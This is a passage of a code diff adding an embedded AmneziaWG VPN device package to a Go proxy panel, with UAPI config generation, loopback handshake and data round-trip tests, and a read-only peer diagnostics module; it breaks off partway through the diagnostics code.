+// relaying traffic -- that's the caller's job (see AttachTCPForwarder /
+// AttachUDPHandler) -- which is exactly why a caller that will relay real
+// traffic must NOT use this function: see newUnconfiguredDevice's doc
+// comment for why, and use newUnconfiguredDevice + Configure instead.
+func NewDevice(inst amneziawg.Instance, opts DeviceOptions) (*Device, error) {
+	dev, err := newUnconfiguredDevice(inst, opts)
+	if err != nil {
+		return nil, err
+	}
+	if err := dev.Configure(inst, opts); err != nil {
+		return nil, err
+	}
+	return dev, nil
+}
+
+// newUnconfiguredDevice builds the tun/netstack/device trio but does not
+// configure any peers or bring the interface up -- a caller that will relay
+// real traffic MUST attach its TCP/UDP handlers (AttachTCPForwarder /
+// AttachUDPHandler) against the returned Device.Stack BEFORE calling
+// Configure, not after.
+//
+// This ordering is not a style preference: Configure's IpcSet is what
+// starts each configured peer's receive goroutine (amneziawg-go's
+// Peer.Start, called from handlePostConfig), and a peer whose handshake
+// completes fast enough (e.g. an already-connected client reconnecting
+// right as an MTU/address change forces this package's own Manager to
+// rebuild the Device) can begin delivering packets into the stack
+// immediately -- concurrently with a caller that only calls
+// gstack.SetTransportProtocolHandler (AttachTCPForwarder/AttachUDPHandler)
+// after Configure returns. A -race CI run caught exactly this as a real
+// WARNING: DATA RACE between stack.(*nic).DeliverTransportPacket (the
+// peer's receive goroutine, reading the handler table) and
+// stack.(*Stack).SetTransportProtocolHandler (the attaching goroutine,
+// writing it). See manager.go's ensureLocked rebuild branch for the real
+// call order this function exists to support.
+func newUnconfiguredDevice(inst amneziawg.Instance, opts DeviceOptions) (*Device, error) {
+	addrs, err := hostAddresses(inst.Address)
+	if err != nil {
+		return nil, fmt.Errorf("amneziawgnet: %w", err)
+	}
+
+	mtu := inst.MTU
+	if mtu <= 0 {
+		mtu = defaultMTU
+	}
+
+	tun, gstack, err := createNetTUNWithStack(addrs, mtu)
+	if err != nil {
+		return nil, fmt.Errorf("amneziawgnet: create netstack: %w", err)
+	}
+
+	logger := opts.Logger
+	if logger == nil {
+		logger = device.NewLogger(device.LogLevelSilent, "")
+	}
+	dev := device.NewDevice(tun, awgconn.NewDefaultBind(), logger)
+
+	return &Device{Device: dev, Stack: gstack}, nil
+}
+
+// Configure applies inst/opts to d via UAPI and brings the interface up.
+// Call at most once per Device, and -- for any caller relaying real
+// traffic -- only after any AttachTCPForwarder/AttachUDPHandler
+// registration against d.Stack (see newUnconfiguredDevice's doc comment
+// for why the order matters). Closes d and returns an error if either step
+// fails; the caller owns closing anything else it already built against
+// d.Stack in that case (e.g. a UDP relay or port-forward set).
+func (d *Device) Configure(inst amneziawg.Instance, opts DeviceOptions) error {
+	conf, err := buildUAPIConfig(inst, opts)
+	if err != nil {
+		d.Close()
+		return fmt.Errorf("amneziawgnet: %w", err)
+	}
+	if err := d.IpcSet(conf); err != nil {
+		d.Close()
+		return fmt.Errorf("amneziawgnet: IpcSet for inbound %d: %w", inst.Id, err)
+	}
+	if err := d.Up(); err != nil {
+		d.Close()
+		return fmt.Errorf("amneziawgnet: bring up inbound %d: %w", inst.Id, err)
+	}
+	return nil
+}
+
+// hostAddresses parses each of inst.Address's CIDR strings (e.g.
+// "10.8.1.1/24") down to the bare host address the netstack's NIC gets
+// configured with -- the interface's own address, not the subnet it routes.
+func hostAddresses(addresses []string) ([]netip.Addr, error) {
+	out := make([]netip.Addr, 0, len(addresses))
+	for _, a := range addresses {
+		prefix, err := netip.ParsePrefix(a)
+		if err != nil {
+			return nil, fmt.Errorf("invalid interface address %q: %w", a, err)
+		}
+		out = append(out, prefix.Addr())
+	}
+	return out, nil
+}
+
+// buildUAPIConfig renders inst (plus opts' AWG 3.0 fields) as a WireGuard
+// UAPI "set" configuration string -- private_key/listen_port/jc.../s1-s4/
+// h1-h4/i1-i5 device lines, the AWG 3.0 device lines when opts asks for them,
+// then one public_key/preshared_key/allowed_ip block per peer. Field names
+// and format match amneziawg-go v3.0.3's device/uapi.go exactly (confirmed
+// against its real source during Phase 0 spiking, not just its docs).
+func buildUAPIConfig(inst amneziawg.Instance, opts DeviceOptions) (string, error) {
+	var b strings.Builder
+
+	privHex, err := wireguard.KeyToHex(inst.PrivateKey)
+	if err != nil {
+		return "", fmt.Errorf("invalid server private key: %w", err)
+	}
+	fmt.Fprintf(&b, "private_key=%s\n", privHex)
+	fmt.Fprintf(&b, "listen_port=%d\n", inst.ListenPort)
+	// replace_peers makes every apply a full resync (matches this package's
+	// own Manager.Ensure semantics): peers no longer in inst.Peers are
+	// dropped instead of lingering from a previous IpcSet call.
+	b.WriteString("replace_peers=true\n")
+
+	o := inst.Obfuscation
+	fmt.Fprintf(&b, "jc=%d\njmin=%d\njmax=%d\n", o.Jc, o.Jmin, o.Jmax)
+	fmt.Fprintf(&b, "s1=%d\ns2=%d\ns3=%d\ns4=%d\n", o.S1, o.S2, o.S3, o.S4)
+	writeOptionalLine(&b, "h1", o.H1)
+	writeOptionalLine(&b, "h2", o.H2)
+	writeOptionalLine(&b, "h3", o.H3)
+	writeOptionalLine(&b, "h4", o.H4)
+	writeOptionalLine(&b, "i1", o.I1)
+	writeOptionalLine(&b, "i2", o.I2)
+	writeOptionalLine(&b, "i3", o.I3)
+	writeOptionalLine(&b, "i4", o.I4)
+	writeOptionalLine(&b, "i5", o.I5)
+
+	if opts.HeaderProtectionKey != "" {
+		hpHex, err := wireguard.KeyToHex(opts.HeaderProtectionKey)
+		if err != nil {
+			return "", fmt.Errorf("invalid header protection key: %w", err)
+		}
+		fmt.Fprintf(&b, "header_protection_key=%s\n", hpHex)
+	}
+	if opts.ContentPaddingAddition != "" {
+		fmt.Fprintf(&b, "content_padding_addition=%s\n", opts.ContentPaddingAddition)
+	}
+	if opts.RekeyAfterTime != "" {
+		fmt.Fprintf(&b, "rekey_after_time=%s\n", opts.RekeyAfterTime)
+	}
+	if opts.RekeyTimeout != "" {
+		fmt.Fprintf(&b, "rekey_timeout=%s\n", opts.RekeyTimeout)
+	}
+	if opts.RejectAfterTime != "" {
+		fmt.Fprintf(&b, "reject_after_time=%s\n", opts.RejectAfterTime)
+	}
+	if opts.KeepaliveTimeout != "" {
+		fmt.Fprintf(&b, "keepalive_timeout=%s\n", opts.KeepaliveTimeout)
+	}
+	if opts.MaxHandshakeAttempts != "" {
+		fmt.Fprintf(&b, "max_handshake_attempts=%s\n", opts.MaxHandshakeAttempts)
+	}
+	fmt.Fprintf(&b, "random_trailers=%t\n", opts.RandomTrailers)
+	fmt.Fprintf(&b, "disable_cookies=%t\n", opts.DisableCookies)
+
+	for _, p := range inst.Peers {
+		pubHex, err := wireguard.KeyToHex(p.PublicKey)
+		if err != nil {
+			return "", fmt.Errorf("peer %q: invalid public key: %w", p.Email, err)
+		}
+		fmt.Fprintf(&b, "public_key=%s\n", pubHex)
+		if p.PresharedKey != "" {
+			pskHex, err := wireguard.KeyToHex(p.PresharedKey)
+			if err != nil {
+				return "", fmt.Errorf("peer %q: invalid preshared key: %w", p.Email, err)
+			}
+			fmt.Fprintf(&b, "preshared_key=%s\n", pskHex)
+		}
+		for _, allowedIP := range p.AllowedIPs {
+			fmt.Fprintf(&b, "allowed_ip=%s\n", allowedIP)
+		}
+	}
+
+	return b.String(), nil
+}
+
+// writeOptionalLine writes a "name=v" UAPI line only when v is set -- used for
+// h1-h4 and i1-i5, whose empty value means "let amneziawg-go fall back to its
+// own default," mirroring how internal/amneziawg's generateServerConfig
+// treats the same optional fields.
+func writeOptionalLine(b *strings.Builder, name, v string) {
+	if v == "" {
+		return
+	}
+	fmt.Fprintf(b, "%s=%s\n", name, v)
+}

+ 550 - 0
internal/amneziawgnet/device_test.go

@@ -0,0 +1,550 @@
+package amneziawgnet
+
+import (
+	"context"
+	"fmt"
+	"io"
+	"net"
+	"net/netip"
+	"strings"
+	"testing"
+	"time"
+
+	awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+	"github.com/amnezia-vpn/amneziawg-go/v3/device"
+	"github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// TestNewDeviceHandshakeForwarderAndIdentity is Phase 1's real end-to-end
+// proof, not just a compile check: a genuine amneziawg-go client (via that
+// project's own tun/netstack.CreateNetTUN -- the client side doesn't need a
+// forwarder or peer-identity resolution, only this package's server side
+// does) completes a real 3-way handshake against a Device built by
+// NewDevice, dials a destination that was never configured anywhere on the
+// server, and the test verifies AttachTCPForwarder recovers that exact
+// destination *and* PeerIndex.Lookup resolves the connection's source back
+// to the right peer's Email -- Phase 1a/1b/1c working together, the same
+// mechanism Phase 0's throwaway spike validated, now as a real, repo-owned,
+// repeatable test instead of scratch code.
+func TestNewDeviceHandshakeForwarderAndIdentity(t *testing.T) {
+	serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate client keypair: %v", err)
+	}
+
+	const listenPort = 58712 // fixed loopback test port, matches the validated Phase 0 spike approach
+	const wantEmail = "[email protected]"
+
+	inst := amneziawg.Instance{
+		Id:            1,
+		InterfaceName: "awgtest1",
+		ListenPort:    listenPort,
+		PrivateKey:    serverPriv,
+		PublicKey:     serverPub,
+		Address:       []string{"10.201.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+		Peers: []amneziawg.Peer{{
+			Email:      wantEmail,
+			PublicKey:  clientPub,
+			AllowedIPs: []string{"10.201.0.2/32"},
+		}},
+	}
+
+	dev, err := newUnconfiguredDevice(inst, DeviceOptions{})
+	if err != nil {
+		t.Fatalf("newUnconfiguredDevice: %v", err)
+	}
+	defer dev.Close()
+
+	idx := NewPeerIndex(inst.Peers)
+
+	type recovered struct {
+		email string
+		ok    bool
+		dest  netip.AddrPort
+	}
+	got := make(chan recovered, 1)
+
+	// Never configured anywhere server-side: the forwarder must recover it
+	// purely from the decapsulated packet, not from any routing table.
+	wantDest := netip.MustParseAddrPort("10.201.9.9:9999")
+
+	AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
+		defer conn.Close()
+		srcAddrPort, parseErr := netip.ParseAddrPort(conn.RemoteAddr().String())
+		var peer amneziawg.Peer
+		var ok bool
+		if parseErr == nil {
+			peer, ok = idx.Lookup(srcAddrPort.Addr().Unmap())
+		}
+		got <- recovered{email: peer.Email, ok: ok, dest: dest}
+		io.Copy(io.Discard, conn)
+	})
+
+	// Configure (IpcSet) must come after AttachTCPForwarder -- see
+	// newUnconfiguredDevice's doc comment: IpcSet is what starts the peer's
+	// receive goroutine, which must never be able to run before the
+	// forwarder is registered on the stack.
+	if err := dev.Configure(inst, DeviceOptions{}); err != nil {
+		t.Fatalf("Configure: %v", err)
+	}
+
+	clientTun, clientNet, err := netstack.CreateNetTUN(
+		[]netip.Addr{netip.MustParseAddr("10.201.0.2")},
+		[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+	if err != nil {
+		t.Fatalf("client CreateNetTUN: %v", err)
+	}
+	clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+	defer clientDev.Close()
+
+	clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+	if err != nil {
+		t.Fatalf("client key to hex: %v", err)
+	}
+	serverPubHex, err := wireguard.KeyToHex(serverPub)
+	if err != nil {
+		t.Fatalf("server key to hex: %v", err)
+	}
+	// allowed_ip=0.0.0.0/0 on the client matches a real VPN client's own
+	// config (route everything through the tunnel) -- it's also what makes
+	// dialing an arbitrary, never-configured destination like wantDest
+	// actually get routed to the server peer at all: a narrower AllowedIPs
+	// here would make the client's own Device drop the packet as
+	// non-matching before it ever reached the wire.
+	clientConf := fmt.Sprintf(
+		"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+		clientPrivHex, serverPubHex, listenPort)
+	if err := clientDev.IpcSet(clientConf); err != nil {
+		t.Fatalf("client IpcSet: %v", err)
+	}
+	if err := clientDev.Up(); err != nil {
+		t.Fatalf("client Up: %v", err)
+	}
+
+	// Retry the dial rather than guessing a fixed handshake delay: the
+	// first attempts may race the handshake, later ones should succeed
+	// once it completes.
+	dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	defer cancel()
+	var lastErr error
+	for {
+		conn, dialErr := clientNet.DialContext(dialCtx, "tcp", wantDest.String())
+		if dialErr == nil {
+			conn.Close()
+			break
+		}
+		lastErr = dialErr
+		select {
+		case <-dialCtx.Done():
+			t.Fatalf("client dial never succeeded: %v", lastErr)
+		case <-time.After(100 * time.Millisecond):
+		}
+	}
+
+	select {
+	case r := <-got:
+		if !r.ok {
+			t.Fatal("forwarder: peer identity lookup failed for the recovered connection")
+		}
+		if r.email != wantEmail {
+			t.Errorf("resolved peer email = %q, want %q", r.email, wantEmail)
+		}
+		if r.dest != wantDest {
+			t.Errorf("recovered destination = %v, want %v", r.dest, wantDest)
+		}
+	case <-time.After(5 * time.Second):
+		t.Fatal("timed out waiting for the forwarder to hand back the recovered connection")
+	}
+}
+
+// TestBuildUAPIConfigHeaderProtectionAndContentPaddingLines is a cheap,
+// network-free companion to the real round-trip test below: confirms the 2
+// AWG 3.0 UAPI lines only appear when set, and that a malformed
+// HeaderProtectionKey surfaces a clear, wrapped error instead of silently
+// producing a UAPI string amneziawg-go's own IpcSet would reject uselessly.
+func TestBuildUAPIConfigHeaderProtectionAndContentPaddingLines(t *testing.T) {
+	priv, _, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate keypair: %v", err)
+	}
+	inst := amneziawg.Instance{
+		PrivateKey: priv,
+		Obfuscation: amneziawg.Obfuscation31{
+			S1: 20, S2: 20, S3: 20, S4: 20,
+		},
+	}
+
+	conf, err := buildUAPIConfig(inst, DeviceOptions{})
+	if err != nil {
+		t.Fatalf("buildUAPIConfig with empty options: %v", err)
+	}
+	if strings.Contains(conf, "header_protection_key=") || strings.Contains(conf, "content_padding_addition=") {
+		t.Fatalf("empty DeviceOptions must not emit AWG 3.0 lines, got:\n%s", conf)
+	}
+
+	key, err := wireguard.GenerateWireguardPSK()
+	if err != nil {
+		t.Fatalf("generate header protection key: %v", err)
+	}
+	conf, err = buildUAPIConfig(inst, DeviceOptions{HeaderProtectionKey: key, ContentPaddingAddition: "20-40"})
+	if err != nil {
+		t.Fatalf("buildUAPIConfig with AWG 3.0 options: %v", err)
+	}
+	if !strings.Contains(conf, "header_protection_key=") {
+		t.Errorf("expected a header_protection_key= line, got:\n%s", conf)
+	}
+	if !strings.Contains(conf, "content_padding_addition=20-40\n") {
+		t.Errorf("expected a content_padding_addition=20-40 line, got:\n%s", conf)
+	}
+
+	if _, err := buildUAPIConfig(inst, DeviceOptions{HeaderProtectionKey: "not-a-valid-base64-key"}); err == nil {
+		t.Fatal("a malformed HeaderProtectionKey must be rejected, not silently passed through")
+	}
+}
+
+// TestNewDeviceHeaderProtectionAndContentPaddingRoundTrip is the real proof
+// behind AmneziaWG 3.0's admin-facing HeaderProtectionKey/
+// ContentPaddingAddition fields: a genuine amneziawg-go client, configured
+// with matching header_protection_key/content_padding_addition UAPI lines
+// (S1-S4 all >= 12, the hard requirement amneziawg-go's own IpcSet enforces
+// for header protection), completes a real handshake against a Device built
+// via NewDevice/DeviceOptions and exchanges real application data both
+// directions through it. This is more than a handshake-completed check --
+// it also confirms actual payload bytes survive content padding on both the
+// send and receive sides, the specific area a third-party AmneziaWG
+// installer project's docs flagged a past interop concern for (see the
+// migration plan's own risk note); it is not a substitute for real-VPS
+// verification against the official client, but it is the cheapest
+// available local check against a regression in either engine's own padding
+// handling.
+func TestNewDeviceHeaderProtectionAndContentPaddingRoundTrip(t *testing.T) {
+	serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate client keypair: %v", err)
+	}
+	headerProtectionKey, err := wireguard.GenerateWireguardPSK()
+	if err != nil {
+		t.Fatalf("generate header protection key: %v", err)
+	}
+
+	const listenPort = 58713 // fixed loopback test port, distinct from the handshake test above
+	const contentPaddingAddition = "20-40"
+
+	inst := amneziawg.Instance{
+		Id:            2,
+		InterfaceName: "awgtest2",
+		ListenPort:    listenPort,
+		PrivateKey:    serverPriv,
+		PublicKey:     serverPub,
+		Address:       []string{"10.202.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20, // all >= 12, required for header protection
+		},
+		Peers: []amneziawg.Peer{{
+			Email:      "[email protected]",
+			PublicKey:  clientPub,
+			AllowedIPs: []string{"10.202.0.2/32"},
+		}},
+	}
+
+	opts := DeviceOptions{
+		HeaderProtectionKey:    headerProtectionKey,
+		ContentPaddingAddition: contentPaddingAddition,
+	}
+	dev, err := newUnconfiguredDevice(inst, opts)
+	if err != nil {
+		t.Fatalf("newUnconfiguredDevice: %v", err)
+	}
+	defer dev.Close()
+
+	const wantRequest = "hello from client"
+	const wantReply = "hello from server"
+	serverDone := make(chan error, 1)
+	AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
+		defer conn.Close()
+		buf := make([]byte, len(wantRequest))
+		if _, err := io.ReadFull(conn, buf); err != nil {
+			serverDone <- fmt.Errorf("server read: %w", err)
+			return
+		}
+		if string(buf) != wantRequest {
+			serverDone <- fmt.Errorf("server got %q, want %q", buf, wantRequest)
+			return
+		}
+		if _, err := conn.Write([]byte(wantReply)); err != nil {
+			serverDone <- fmt.Errorf("server write: %w", err)
+			return
+		}
+		serverDone <- nil
+	})
+
+	// Configure (IpcSet) must come after AttachTCPForwarder -- see
+	// newUnconfiguredDevice's doc comment.
+	if err := dev.Configure(inst, opts); err != nil {
+		t.Fatalf("Configure: %v", err)
+	}
+
+	clientTun, clientNet, err := netstack.CreateNetTUN(
+		[]netip.Addr{netip.MustParseAddr("10.202.0.2")},
+		[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+	if err != nil {
+		t.Fatalf("client CreateNetTUN: %v", err)
+	}
+	clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+	defer clientDev.Close()
+
+	clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+	if err != nil {
+		t.Fatalf("client key to hex: %v", err)
+	}
+	serverPubHex, err := wireguard.KeyToHex(serverPub)
+	if err != nil {
+		t.Fatalf("server key to hex: %v", err)
+	}
+	headerProtectionKeyHex, err := wireguard.KeyToHex(headerProtectionKey)
+	if err != nil {
+		t.Fatalf("header protection key to hex: %v", err)
+	}
+	clientConf := fmt.Sprintf(
+		"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\nheader_protection_key=%s\ncontent_padding_addition=%s\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+		clientPrivHex, headerProtectionKeyHex, contentPaddingAddition, serverPubHex, listenPort)
+	if err := clientDev.IpcSet(clientConf); err != nil {
+		t.Fatalf("client IpcSet: %v", err)
+	}
+	if err := clientDev.Up(); err != nil {
+		t.Fatalf("client Up: %v", err)
+	}
+
+	dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	defer cancel()
+	var conn net.Conn
+	for {
+		c, dialErr := clientNet.DialContext(dialCtx, "tcp", "10.202.9.9:9999")
+		if dialErr == nil {
+			conn = c
+			break
+		}
+		select {
+		case <-dialCtx.Done():
+			t.Fatalf("client dial never succeeded: %v", dialErr)
+		case <-time.After(100 * time.Millisecond):
+		}
+	}
+	defer conn.Close()
+
+	if _, err := conn.Write([]byte(wantRequest)); err != nil {
+		t.Fatalf("client write: %v", err)
+	}
+	if err := conn.SetReadDeadline(time.Now().Add(5 * time.Second)); err != nil {
+		t.Fatalf("SetReadDeadline: %v", err)
+	}
+	reply := make([]byte, len(wantReply))
+	if _, err := io.ReadFull(conn, reply); err != nil {
+		t.Fatalf("client read reply: %v", err)
+	}
+	if string(reply) != wantReply {
+		t.Fatalf("client got reply %q, want %q", reply, wantReply)
+	}
+
+	select {
+	case err := <-serverDone:
+		if err != nil {
+			t.Fatalf("server side: %v", err)
+		}
+	case <-time.After(5 * time.Second):
+		t.Fatal("timed out waiting for the server side to finish")
+	}
+}
+
+func TestBuildUAPIConfigRandomTrailersAndDisableCookiesLines(t *testing.T) {
+	priv, _, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate keypair: %v", err)
+	}
+	inst := amneziawg.Instance{PrivateKey: priv}
+
+	// Unlike HeaderProtectionKey/ContentPaddingAddition, these two lines
+	// must always be present -- see DeviceOptions.RandomTrailers's own doc
+	// comment on why an absent line (instead of an explicit "false") would
+	// break the reconfigure-in-place diff for a true->false edit.
+	conf, err := buildUAPIConfig(inst, DeviceOptions{})
+	if err != nil {
+		t.Fatalf("buildUAPIConfig with empty options: %v", err)
+	}
+	if !strings.Contains(conf, "random_trailers=false\n") {
+		t.Errorf("expected an explicit random_trailers=false line even when unset, got:\n%s", conf)
+	}
+	if !strings.Contains(conf, "disable_cookies=false\n") {
+		t.Errorf("expected an explicit disable_cookies=false line even when unset, got:\n%s", conf)
+	}
+
+	conf, err = buildUAPIConfig(inst, DeviceOptions{RandomTrailers: true, DisableCookies: true})
+	if err != nil {
+		t.Fatalf("buildUAPIConfig with both enabled: %v", err)
+	}
+	if !strings.Contains(conf, "random_trailers=true\n") {
+		t.Errorf("expected a random_trailers=true line, got:\n%s", conf)
+	}
+	if !strings.Contains(conf, "disable_cookies=true\n") {
+		t.Errorf("expected a disable_cookies=true line, got:\n%s", conf)
+	}
+}
+
+// TestNewDeviceRandomTrailersAndDisableCookiesRoundTrip is the real proof
+// behind AmneziaWG 3.1's two new device-wide toggles: a genuine amneziawg-go
+// client with matching random_trailers=true/disable_cookies=true UAPI lines
+// completes a real handshake against a Device built via NewDevice/
+// DeviceOptions and exchanges real application data both directions through
+// it. This specifically exercises amneziawg-go's receive.go size-matching
+// path for RandomTrailers (device_test.go's HeaderProtection test doesn't
+// enable it), which only accepts a message when
+// `size == expectedSize || randomTrailers && size > expectedSize` -- proof
+// that setting it on both ends really does interoperate, not just that
+// IpcSet accepts the value.
+func TestNewDeviceRandomTrailersAndDisableCookiesRoundTrip(t *testing.T) {
+	serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate client keypair: %v", err)
+	}
+
+	const listenPort = 58721 // fixed loopback test port, distinct from every other test in this package
+
+	inst := amneziawg.Instance{
+		Id:            3,
+		InterfaceName: "awgtest3",
+		ListenPort:    listenPort,
+		PrivateKey:    serverPriv,
+		PublicKey:     serverPub,
+		Address:       []string{"10.203.0.1/24"},
+		MTU:           1420,
+		Peers: []amneziawg.Peer{{
+			Email:      "[email protected]",
+			PublicKey:  clientPub,
+			AllowedIPs: []string{"10.203.0.2/32"},
+		}},
+	}
+
+	opts := DeviceOptions{RandomTrailers: true, DisableCookies: true}
+	dev, err := newUnconfiguredDevice(inst, opts)
+	if err != nil {
+		t.Fatalf("newUnconfiguredDevice: %v", err)
+	}
+	defer dev.Close()
+
+	const wantRequest = "hello from client, with a trailer"
+	const wantReply = "hello from server, with a trailer"
+	serverDone := make(chan error, 1)
+	AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
+		defer conn.Close()
+		buf := make([]byte, len(wantRequest))
+		if _, err := io.ReadFull(conn, buf); err != nil {
+			serverDone <- fmt.Errorf("server read: %w", err)
+			return
+		}
+		if string(buf) != wantRequest {
+			serverDone <- fmt.Errorf("server got %q, want %q", buf, wantRequest)
+			return
+		}
+		if _, err := conn.Write([]byte(wantReply)); err != nil {
+			serverDone <- fmt.Errorf("server write: %w", err)
+			return
+		}
+		serverDone <- nil
+	})
+
+	// Configure (IpcSet) must come after AttachTCPForwarder -- see
+	// newUnconfiguredDevice's doc comment.
+	if err := dev.Configure(inst, opts); err != nil {
+		t.Fatalf("Configure: %v", err)
+	}
+
+	clientTun, clientNet, err := netstack.CreateNetTUN(
+		[]netip.Addr{netip.MustParseAddr("10.203.0.2")},
+		[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+	if err != nil {
+		t.Fatalf("client CreateNetTUN: %v", err)
+	}
+	clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+	defer clientDev.Close()
+
+	clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+	if err != nil {
+		t.Fatalf("client key to hex: %v", err)
+	}
+	serverPubHex, err := wireguard.KeyToHex(serverPub)
+	if err != nil {
+		t.Fatalf("server key to hex: %v", err)
+	}
+	clientConf := fmt.Sprintf(
+		"private_key=%s\nrandom_trailers=true\ndisable_cookies=true\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+		clientPrivHex, serverPubHex, listenPort)
+	if err := clientDev.IpcSet(clientConf); err != nil {
+		t.Fatalf("client IpcSet: %v", err)
+	}
+	if err := clientDev.Up(); err != nil {
+		t.Fatalf("client Up: %v", err)
+	}
+
+	dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	defer cancel()
+	var conn net.Conn
+	for {
+		c, dialErr := clientNet.DialContext(dialCtx, "tcp", "10.203.9.9:9999")
+		if dialErr == nil {
+			conn = c
+			break
+		}
+		select {
+		case <-dialCtx.Done():
+			t.Fatalf("client dial never succeeded: %v", dialErr)
+		case <-time.After(100 * time.Millisecond):
+		}
+	}
+	defer conn.Close()
+
+	if _, err := conn.Write([]byte(wantRequest)); err != nil {
+		t.Fatalf("client write: %v", err)
+	}
+	if err := conn.SetReadDeadline(time.Now().Add(5 * time.Second)); err != nil {
+		t.Fatalf("SetReadDeadline: %v", err)
+	}
+	reply := make([]byte, len(wantReply))
+	if _, err := io.ReadFull(conn, reply); err != nil {
+		t.Fatalf("client read reply: %v", err)
+	}
+	if string(reply) != wantReply {
+		t.Fatalf("client got reply %q, want %q", reply, wantReply)
+	}
+
+	select {
+	case err := <-serverDone:
+		if err != nil {
+			t.Fatalf("server side: %v", err)
+		}
+	case <-time.After(5 * time.Second):
+		t.Fatal("timed out waiting for the server side to finish")
+	}
+}

+ 140 - 0
internal/amneziawgnet/diagnostics.go

@@ -0,0 +1,140 @@
+package amneziawgnet
+
+import (
+	"bufio"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// ClientDiagnostic is one configured peer's live state, cross-referenced
+// from the running Device's own UAPI dump against the peer list the caller
+// supplies. A peer that has never handshaked still appears here (with a
+// zero LastHandshake) rather than being silently absent, so an admin can
+// tell "misconfigured client" apart from "client just hasn't connected".
+type ClientDiagnostic struct {
+	Email         string
+	LastHandshake time.Time
+	RxBytes       uint64
+	TxBytes       uint64
+	Endpoint      string
+	// AllowedIPs is comma-joined, from the running Device's own UAPI dump
+	// when it has ever handshaked (so a re-IP is reflected immediately);
+	// falls back to the peer's configured AllowedIPs otherwise.
+	AllowedIPs string
+}
+
+// Connected reports whether this client has ever completed a handshake.
+func (c ClientDiagnostic) Connected() bool {
+	return !c.LastHandshake.IsZero()
+}
+
+// Diagnostics is a read-only snapshot of one embedded AmneziaWG inbound's
+// live state. Gathering it can never itself change anything -- it only
+// reads the already-running Device's own UAPI dump, never writes to it.
+type Diagnostics struct {
+	Running    bool
+	ListenPort int
+	Clients    []ClientDiagnostic
+}
+
+// Diagnose builds a live snapshot for inbound id, cross-referenced against
+// peers (the inbound's currently configured client list -- the caller
+// supplies this since amneziawgnet has no DB access of its own). Running
+// stays false (with an empty Clients list) when there's no managed
+// instance for this id right now -- disabled, not yet reconciled, or never
+// started -- which is itself useful information for an admin, not an error.
+func Diagnose(id int, peers []amneziawg.Peer) Diagnostics {
+	dev, _, ok := GetManager().Lookup(id)
+	if !ok {
+		return Diagnostics{}
+	}
+	return diagnoseDevice(dev, peers)
+}
+
+func diagnoseDevice(dev *Device, peers []amneziawg.Peer) Diagnostics {
+	diag := Diagnostics{Running: true}
+
+	dump, err := dev.IpcGet()
+	if err != nil {
+		return diag
+	}
+	listenPort, states := parseUAPIDump(dump)
+	diag.ListenPort = listenPort
+
+	diag.Clients = make([]ClientDiagnostic, 0, len(peers))
+	for _, p := range peers {
+		hexKey, err := wireguard.KeyToHex(p.PublicKey)
+		if err != nil {
+			continue
+		}
+		st := states[hexKey]
+		cd := ClientDiagnostic{Email: p.Email, RxBytes: st.rxBytes, TxBytes: st.txBytes, Endpoint: st.endpoint}
+		if st.lastHandshakeSec > 0 {
+			cd.LastHandshake = time.Unix(st.lastHandshakeSec, 0)
+		}
+		if len(st.allowedIPs) > 0 {
+			cd.AllowedIPs = strings.Join(st.allowedIPs, ", ")
+		} else {
